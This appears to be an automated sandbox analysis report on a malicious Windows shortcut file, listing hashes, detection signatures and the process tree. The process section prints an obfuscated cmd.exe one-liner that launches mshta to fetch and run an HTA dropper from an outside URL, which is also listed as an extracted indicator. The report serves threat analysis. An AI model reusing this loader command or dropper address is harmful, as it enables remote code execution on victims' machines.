Analysis
- max time kernel
148s - max time network
117s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NPRBWK.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NPRBWK.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-NPRBWK.lnk
- Size 1KB
- Sample260804-kadmtazzf1
- SHA256 420dd3d07f9230189614a1c8618e91e3fc024c9bd9c1156c195bd9e442cf9480
- MD5 61a2245bdeeeb5e35faa50e03a79368b
- SHA1 a1f3f7d0740aa59d23b476a26e57a0351525150a
- SHA512 b0b930979bdc0b50b53489554a3fa2b6b1e16044ef074fddcfae92651418fc93c62f3d361b7a5f741171857634740868ba8667b08b8ed5dea4c744a31b4058fc
- TLSH T16C3197002FFC0664F3F38E7394BB572089BAB8958D21CA2E0080464C1032A15E13AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4624 cmd.exe 4868 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4624 wrote to memory of 4868 4624 cmd.exe 89 PID 4868 wrote to memory of 5968 4868 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NPRBWK.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set YDk=msh&&set bmiW=ta&&start "" !YDk!!bmiW! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5968
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